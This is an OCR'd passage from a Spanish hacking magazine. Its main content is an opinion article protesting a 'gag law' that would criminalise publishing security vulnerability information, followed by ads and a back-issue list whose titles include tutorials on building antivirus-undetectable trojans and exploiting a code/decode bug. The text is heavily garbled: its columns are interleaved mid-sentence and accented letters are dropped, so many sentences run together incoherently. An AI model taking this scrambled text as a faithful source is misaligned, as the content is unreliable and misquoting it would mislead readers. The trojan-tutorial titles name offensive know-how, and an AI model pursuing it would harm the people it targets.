siva, a servicios interactivos prestados cadas), enseñar a terceros como se hace,
a distancia por vía electrónica, nor­ incitar a terceros a realizar dichas prácticas
malmente contra remuneración, o y, p a r a c o l m o , b e n e f i c i a r s e ¿Cómo es posible que un destacado abo­
suministre el acceso condicional a los económicamente de ello. Muy bien, parece gado diga tales cosas? ¿Acaso no ha leído
mismos, considerado como servicio que estamos ante “una buena ley”. La Ley? Nosotros, tú y yo, la hemos leído
independiente, mediante: y no vemos ese peligro...
1º La fabricación, importación, Antes de hablar nosotros, dejemos hablen ...es cierto, pero la mayoría de nosotros
distribución, puesta a disposición por los expertos... no sea que nosotros seamos no sabemos interpretar la ley.
vía electrónica, venta, alquiler, o unos “bichos raros”. A continuación te Llegados a este punto y leídas las palabras
posesión de cualquier equipo o pro­ invitamos a leer algunos fragmentos es­ de Carlos Almeida, nos encontramos ante
grama informático, no autorizado en critos por Carlos Sánchez Almeida, repu­ una situación realmente alarmante.
otro Estado miembro de la Unión Eu­ tado abogado y especialmente reconocido Imagina por un momento que eres direc­

63
tivo de una empresa y, basándote en la la innegable realidad. dos en España por ejercer el derecho de
propaganda y el renombre de algunas ¿Deseamos vivir en esa Disney-Sociedad? Informar?
grandes compañías, compras un software Por supuesto que no. Me niego a pensar Te aseguro que este mes hemos tenido
que asegura una protección de máximo que los poderes que deben defender al serias dudas sobre si debíamos o no pu­
nivel para los datos de tu sociedad... y ciudadano, la Ley, se ponga de parte de blicar los artículos que tienes delante de
quien dice un directivo de empresa dice la ignorancia. Me niego a pensar que ti, nos hemos sentido amenazados y ate­
también un gobierno o una entidad ban­ hemos vuelto a la Edad Media y que nues­ morizados por la evolución de las últimas
caria. tro rey (el estado) y su voz (la Ley) han leyes y los resultados de las mismas en
Recordemos que según otra ley (la ley de decidido sumir al pueblo en la ignorancia otros países. Pero no es ya sólo esta
protección de datos), tu empresa está y la podredumbre de ideas. revista, todas las revistas, incluidas PC
obligada a salvaguardar los datos de tus La historia demuestra, de forma contun­ World o PC Actual o @rroba contienen
clientes y, en caso de que se produzcan dente, que la ignorancia siempre conduce referencias a los últimos virus, agujeros
filtraciones, puedes ser juzgado por no a la injusticia, a la corrupción, a la de seguridad y en definitiva cualquier tema
haber puesto los medios necesarios para degradación del ser humano como tal y del interés del lector. ¿Somos delincuentes?
asegurar dichos datos. Por lo tanto, como finalmente, al retroceso del conjunto de ¿Y las Webs? ¿Se empezarán a perseguir
empresario responsable, pones todos los la sociedad. Y cuando digo “el conjunto las cientos de miles de Webs que contienen
medios necesarios para cumplir la ley. de la sociedad”, me refiero a “la sociedad información sobre seguridad informática?
Imaginemos que pasan tres meses, y global”, tanto a las personas de “a pie” La verdad es que no, nadie en su sano
recibes un centenar de citaciones judiciales como a los gobiernos en sí mismo... la juicio iniciaría una cruzada de este tipo,
por parte de tus clientes debido a que sus pobreza de ideas provoca que la evolución pero eso es lo de menos... con que se
datos (guardados celosamente por ti) han se detenga y, en caso de no invertir el juzguen y condenen a unos pocos, es más
sido publicados abiertamente... ¿qué ha proceso, retroceda. que suficiente para que “el resto” seamos
pasado? Muy sencillo, aquel reputado Esta situación es bastante absurda. Cual­ más cautos y nos autocensuremos... y
programa que adquiriste para proteger quier producto tiene un control de calidad... ese es el verdadero peligro de esta ley
los datos no era más que pura propagan­ ¿por qué se impiden los controles de tan ambigua, provocará que uno se lo
da... mala suerte. calidad en productos tecnológicos? Muy piense muy bien antes de abrir la boca y
Guillaume Tena fue condenado por, preci­ al contrario, se deberían propiciar las publicar ciertas informaciones de forma
samente, informar y demostrar investigaciones independientes... y una abierta.
públicamente de que muchos programas vez más... otros países nos han tomado Y este es el problema REAL de la “ley
que dicen asegurar tus datos son “puro la delantera. mordaza”: SU PROFUNDA AMBIGÜEDAD.
humo propagandístico” y que con sencillos En Estados Unidos (por poner un ejemplo) Es tan poco concreta, tan irresponsable­
métodos al alcance de la mayoría de per­ esta ley no tiene equivalente, muy al mente imprecisa, tan fácilmente tergiver­
sonas, esos programas no sirven para contrario, las personas que demuestran sable que es más que suficiente para
nada. Hizo público al menos uno de pro­ gran habilidad en la investigación son muy provocar condenas en España y permitir
gramas que adolecían de este problema buscadas por las empresas, porque el que el miedo se infiltre en la sociedad.
(programa que disfrutaba de gran talento no puede ser desaprovechado, Seamos realistas, no es el gusto de nadie
reputación) y debido a ello fue denunciado debe ser potenciado... hace tiempo que ponerse “en peligro” de ser condenado
y finalmente declarado CULPABLE!!! Europa parece haber tomado el camino por escribir unas palabras y publicarlas.
Vamos a ver... las personas como tú o contrario. No, señores, no... la ignorancia Ese temor lo hemos sentido nosotros, lo
yo... ¿no tenemos derecho a saber si un no es el camino correcto. hemos tocado, lo hemos saboreado y a
producto es bueno o malo? El director de Esta situación nos afecta a todos. Recor­ punto ha estado de tener consecuencias.
una empresa... ¿no tiene derecho a cono­ demos las palabras de Carlos Almeida Si nosotros hemos sentido esa inseguri­
cer la verdad sobre los productos que “Cualquier medio informativo, electrónico dad... ¿Qué puede llegar sentir una persona
compra?... y en caso extremo... si un o en papel, se va a ver afectado por la cualquiera que tiene una Web personal en
banco o un gobierno utiliza esos programas nueva regulación. Cualquier sitio Web que la que se tratan temas de Seguridad In­
para proteger datos... ¿no estamos todos informe sobre vulnerabilidades, mediante formática?
en peligro? Si no hay información, si nadie información técnica relativa a la seguridad Para no caer en el desánimo y dejar una
demuestra públicamente la deficiencia de informática, o que mediante links dirija a puerta abierta a la esperanza, tengamos
ciertos productos... ¿cómo podemos saber sitios de Internet donde se ofrezca dicha presente un fragmento de un artículo
si lo que compramos cumple con unos información, puede verse acusado” publicado recientemente por David Bravo,
mínimos de calidad? Esta revista trata directamente y en pro­ conocido abogado que lucha por la
Si anulamos el derecho a informar, si fundidad aspectos técnicos de la seguridad defensa de los internautas.
ponemos mordazas jurídicas a quienes informática y, precisamente por ello, nos “Si el juez se acogiera a las más elemen­
investigan y estudian la calidad de los hemos sentido atemorizados por “la ley tales normas de interpretación de los
productos... ¿Qué tipo de sociedad estamos mordaza”. Ahora mismo estamos expues­ preceptos penales, concluiría que informar
creando? ... quizá tengamos que creer a tos a una condena por los contenidos que sobre vulnerabilidades no
“guillermito”... quizá terminaremos vivien­ tienes en la mano, hablar de Seguridad conlleva necesariamente estimulación
do en una sociedad-Disneylandia donde Informática es delito en España. alguna, del mismo modo que decir que el
los preciosos panfletos de publicidad serán ¿Seremos nosotros los primeros condena­

64
cianuro causa la muerte no es una puedo hacer yo? Total, por mucho que yo te, ese tipo de investigación también puede
invitación al suicidio. Si yo digo que un “patalee”, no va a cambiar nada--- ser constituyente de delito, puesto que
determinado tipo de cuchillo sirve para estás en posesión y utilizando medios (ya
cortar eficazmente la carne Así que, nos quedamos tan tranquilos sin sea software o hardware) que te permiten
únicamente me limito a describir una hacer nada :( “explotar” agujeros de seguridad e inves­
realidad ejerciendo mi derecho a la tigar sobre los mismos.
libertad de información. Después lo que El problema es que nosotros somos per­
haga Ted Bundy con el cuchillo es sonas normales y no llegamos ni a imagi­ ¿Quieres más? ¿No tienes suficiente? Pues
cosa suya. Es cierto que no todos los narnos las consecuencias de esta ley... ahora viene lo bueno...
jueces cumplen escrupulosamente estos hasta que nos “toca”... claro... hasta que
principios, pero también lo es que algunos un buen día te llega a casa una citación Tal como remarca Carlos Almeida, esta
han justificado abusos sexuales judicial de una gran compañía y te das ley “viene a situar fuera de la Ley a la
porque la víctima solía llevar minifalda al cuenta que “aquella ley” te dice que eres mayor parte de la población española”. O
t ra b a j o y n o p o r e s o p e n s a m o s “un delincuente”. sea que, cualquier gran empresa puede
que esa sea la interpretación correcta de denunciarnos (a ti y a mi) e incluso puede
l a l e y. P r e v e r a t e n t a d o s a ¿Qué ha pasado? Pero si la ley no parecía conseguir que nos condenen. Las empre­
derechos constitucionales a causa de la afectarme a mi... ¿por qué me denuncian sas no son tontas, no empezarán a denun­
ambigüedad de la ley debe ser a mi?!!! ¿Qué he hecho? ¡!! ciar a cientos de miles de personas, pero
precisamente un estímulo para recordar SI a unas pocas... con eso bastará para
y afirmar con rotundidad que los La “ley mordaza” implica que la publicación atemorizar.
seguimos teniendo y no para llorar pre­ en cualquier medio (una Web, un periódico,
maturamente su pérdida.” un libro, una revista e incluso un mail) de Quien peor lo tiene, con diferencia, es el
Cerramos aquí la parte formal del artículo información relativa a la seguridad infor­ “software libre”. Por ejemplo, nuestro foro
de opinión y “nos soltamos el pelo”. La mática es constituyente de delito. Una en la Web está programado en PHP y es
intención de esta primera parte era dar simple mención a un agujero de seguridad, “libre”. Puedes descargarlo gratuitamente
un argumento absolutamente irrebatible detallar técnicamente dicho agujero y/o de www.phpbb.com... está programado
sobre el tema principal (el derecho a explicar el método de intrusión para que para disfrute de quien quiera utilizarlo y
informar sin temor a represalias). Lo que sea comprendido y uno pueda protegerse una alternativa parecida en “software de
leerás a continuación son las posibles puede ser considerado delito. pago” implicaría desembolsar unos 800
consecuencias de la “Ley mordaza” y puede euros. Los lectores de esta humilde revista
tener varias líneas de contra- Perfecto. Con esta ley, España se acaba no podrían tener un foro tan potente,
argumentación... y por eso es un artículo de cargar incluso la Web Oficial de Micro­ imposible a esos precios.
de opinión, para que sea debatido, por soft. Microsoft tiene en su Web miles de
ejemplo, en el foro de Hackxcrack. Hay explicaciones técnicas relacionadas con Pero... ¿por qué lo tiene muy mal el soft­
un hilo abierto que precisamente trata el sus agujeros de seguridad, incluso provee ware libre?, ¿en qué le afecta la ley? Pues
“caso Guillermito”: al mundo entero las herramientas necesa­ como lo hemos vivido en nuestras propias
http://www.hackxcrack.com/phpBB2/vie rias para detectar esos fallos y explotarlos. carnes, te lo explico muy claramente.
wtopic.php?t=18335 :) Este humilde redactor tiene en su PC un
Intentaré no ser alarmista y, por supuesto, programa que Microsoft aconsejaba des­ Hace unos días se publicó un BUG que
no llegar al anarquismo dialéctico; pero cargar desde su Web Oficial (e instalar) afectaba a este foro, durante unas horas
no pienso reprimir mi inquietud ante esta para testear los agujeros de seguridad. estuvimos desprotegidos ante un ataque
situación. Quizá no sea conveniente que Desde aquí, rogaría a la fiscalía que actuase que podría haber sido LETAL... hablamos
leas lo que viene a continuación, te adver­ de oficio y denunciase a Microsoft... son de que un atacante podría haber entrado
timos que es perjudicial para tu (nuestra) unos delincuentes desde el punto de vista como administrador y eliminado el foro
“cómoda” vida. de la ley Española. completo. OHHHH!!!
Nosotros, el pueblo, “la plebe”, difícilmente Pero como todavía estamos en un mundo
nos damos cuenta de los cambios en las Pero hay más. Si eres por ejemplo, admi­ libre, ese bug tan importante fue anunciado
leyes hasta que ya es demasiado tarde. nistrador de redes, NO se te ocurra enviar públicamente, y gracias a ello los adminis­
No importa que algunos colectivos poco un mail a otros administradores sobre tradores nos avisamos unos a otros y,
representativos (sin poder mediático) nos cómo defenderse de un agujero de segu­ gracias a dios, nos protegimos antes de
avisen, nos adviertan, nos pidan firmas y ridad... eso es delito... como técnico NO que un posible atacante nos volatilizase...
pongan el grito en el cielo... las leyes son PUEDES dar datos técnicos sobre seguridad y no puedo seguir escribiendo sin mostrarle
muy aburridas... ¿quien las entiende?... informática a otros técnicos. NO puedes, mi agradecimiento a quien nos avisó pri­
que hagan lo que quieran, total, mi opinión eso es delito según la ley especifica per­ mero, el administrador de
no cuenta. fectamente en su punto 3. www.elhacker.net.(ver imagen 1)

Bien... “inteligente” posición, seguro que Y no se te ocurra testear tu sistema para Recomiendo enérgicamente que visites su
TU y YO hemos caído mil veces en esta ver si algún agujero de seguridad te está Web y, desde aquí, en nombre de la revista
trampa, la trampa de pensar: ---¿y que dejando indefenso ante un posible atacan­ y en nombre de todos los miembros, mo­

65
la forma de protegerme de l y transmit para colmo, te aseguro que esa informacin
pblicamente esa informacin a muchas valdra mucho dinero... bienvenido al trfico
personas y administradores de otros de informacin. Y seamos un poco malos...
foros... vendr el juez a buscarme?... hom­ venga... anmate, piensa un poco... quien
bre... pues aqu te espero sentado en mi tendra dinero para comprar esa informacin?
casa. A ver si hay suerte, el fiscal me ... Pues te aseguro que el software libre
denuncia, salgo en la tele y hago propa­ NO... pues eso... las empresas impor­
ganda gratis a la revista :P Venga, que ya tantes, multinacionales y toda la pesca. Y
acabo mi lnea anarquista, aguntame unas si yo tengo una empresa de software
lneas ms. El software libre es precisamente millonaria y quiero quitar de en medio a
el ms rpido en protegerse (actualizarse) mi competencia libre... pues con esa in­
ante un agujero de seguridad, mil veces formacin y un programador suelto un
Imagen 1 ms rpido que cualquier compaa multimil­ gusano que fulmina por completo la cred­
lonaria. Son miles las personas que cuando ibilidad de ese software libre(mi compe­
d e ra d o r e s y a d m i n i s t ra d o r e s d e descubren un bug lo anuncian y depende tencia) que reduce mis ventas.paranoia?
www.hackxcrack.com, te damos MIL Y MIL ya de la agilidad de los programadores Si cae en tus manos un buen libro de
GRACIAS por tu ética. Y enviamos un poner a disposicin de los usuarios el parche artes empresariales, ya me contars. En el
fuerte abrazo a todos los que visitan con correspondiente. Con la ley mordaza, adis mundo actual (en la esquina de tu calle)
asiduidad tu Web y a todos los que partic­ a esta posibilidad, se perdera este dina­ hay guerras y hay muertos, pero esta
ipan en ella con su tiempo y esfuerzo -- mismo y se daara de forma irreversible guerra no tiene bombas y los muertos no
> elhacker.net forever ;) su calidad.Y llegamos a la guinda final, el sangran... cada da las empresas luchan a
espus de ser pblicamente conocido el bug, trfico de informacin, la mafia informativa.Si muerte por sobrevivir y te aseguro que
en la Web oficial del foro phpbb TU y yo NO podemos acceder con normal­ las hay perfectamente entrenadas para
www.phpbb.com) fuimos informados y idad a la informacin relacionada con la ELIMINAR a la competencia.Esta ley intenta
pusieron un parche para descargar y poder seguridad informtica, te aseguro que esa ponernos las cadenas de la ignorancia,
actualizar nuestro foro en hackxcrack. informacin seguira en Internet, pero ser negarnos a la plebe el derecho a investigar
Incluso inmediatamente que fue pblica­ tratada en grupos reducidos (ocultos), y compartir nuestros conocimientos. Yo
mente conocido el bug, ya haban mil sitios hacindonos a muchos delincuentes por el no pido mucho, simplemente quiero poder
que te enseaban a protegerlo cambiando mero hecho de TRAFICAR con esa infor­ vivir tranquilo, sin miedos a leyes ab­
a mano una simple lnea de cdigo. Pues macin. Y de todo hay en este querido surdas... Yo no soy un delincuente... Y
bien, con LEY MORDAZA, todos los impli­ mundo nuestro... gente buena y gente tu?Gracias por leerme y aguantarme. Un
cados estamos fuera de la ley. Y yo el mala... te imaginas el dao irreparable que abrazo a todos!!!AZIMUT, administrador
primero, porque declaro pblicamente me­ significara no enterarte de un bug hasta del foro de www.hackxcrack.com
diante este escrito que investigu el bug, pasados 6 meses desde su aparicin?... y,

Atención al Cliente

Teléfono de Atención al Cliente:


977 22 45 80
Persona de Contacto:
Srta. Genoveva
Petición de números atrasados y suscripciones

Servicio Ofrecido de Lunes a Viernes


De 9:30 A 13:30

66
PON AQUÍ TU PUBLICIDAD
Contacta DIRECTAMENTE con
nuestro coordinador de publicidad
INFÓRMATE
¡sin compromiso!
610 52 91 71

¿Has pensado alguna vez en


poner TU PUBLICIDAD en
una revista de cobertura
nacional?
¿Has preguntado
precios y comprobado
que son demasiado
elevados como para
amortizar la inversión?

Con nosotros, la publicidad está al alcance de todos

precios desde
99 euros

para más información:


http://www.pcpasoapaso.com/publicidad.html

P r omoción especial de lanzamiento


CONSIGUE LOS NÚMEROS
AT R A S A D O S E N :

NÚMERO1: NÚMERO 2:
-CREA TU PRIMER TROYANO -CODE/DECODE BUG: INTRODUCCIÓN.
INDETECTABLE POR LOS ANTIVIRUS. -CODE/DECODE BUG: LOCALIZACIÓN DEL OBJETIVO.
-FLASHFXP: SIN LÍMITE DE VELOCIDAD. -CODE/DECODE BUG: LÍNEA DE COMANDOS.
-FTP SIN SECRETOS: PASVMODE. -CODE/DECODE BUG: SUBIENDO ARCHIVOS AL SERVIDOR REMOTO.
-PORT MODE/PASV MODE Y LOS FIREWALL: LA UTILIDAD DE LO APRENDIDO. -OCULTACIÓN DE IP: PRIMEROS PASOS.
-TCP-IP:INICIACIÓN (PARTE 1). -LA FLECHA ÁCIDA: LA SS DIGITAL.
-EL MEJOR GRUPO DE SERVIDORES FTP DE HABLA HISPANA. AZNAR AL FRENTE DE LA SS DEL SIGLO XXI.
-EDONKEY 2000 Y SPANISHARE.
-LA FLECHA ÁCIDA.

NÚMERO 3:
-PROXY: OCULTANDO NUESTRA IP.
ASUMIENDO CONCEPTOS.
-PROXY: OCULTANDO NUESTRA IP. NÚMERO 7:
ENCADENANDO PROXIES. - PROTOCOLOS: POP3
-PROXY: OCULTANDO NUESTRA IP. - PASA TUS PELICULAS A DIVX III (EL AUDIO)
OCULTANDO TODOS NUESTROS PROGRAMAS TRAS LAS - PASA TUS PELICULAS A DIVX IV (MULTIPLEXADO)
CADENAS DE PROXIES. - CURSO DE VISUAL BASIC: LA CALCULADORA
-EL SERVIDOR DE HACKXCRACK: CONFIGURACIÓN Y MODO DE EMPLEO. - IPHXC: EL TERCER TROYANO DE HXC II
- APACHE: UN SERVIDOR WEB EN NUESTRO PC
-SALA DE PRACTICAS: EXPLICACIÓN. - CCPROXY: IV TROYANO DE PC PASO A PASO
-PRÁCTICA 1ª: SUBIENDO UN ARCHIVO A NUESTRO SERVIDOR. - TRASTEANDO CON EL HARDWARE DE UNA LAN
-PRÁCTICA 2ª: MONTANDO UN DUMP CON EL SERV-U.
-PRÁCTICA 3ª: CODE/DECODE BUG. LÍNEA DE COMANDOS.
-PREGUNTAS Y DUDAS.

S-ar putea să vă placă și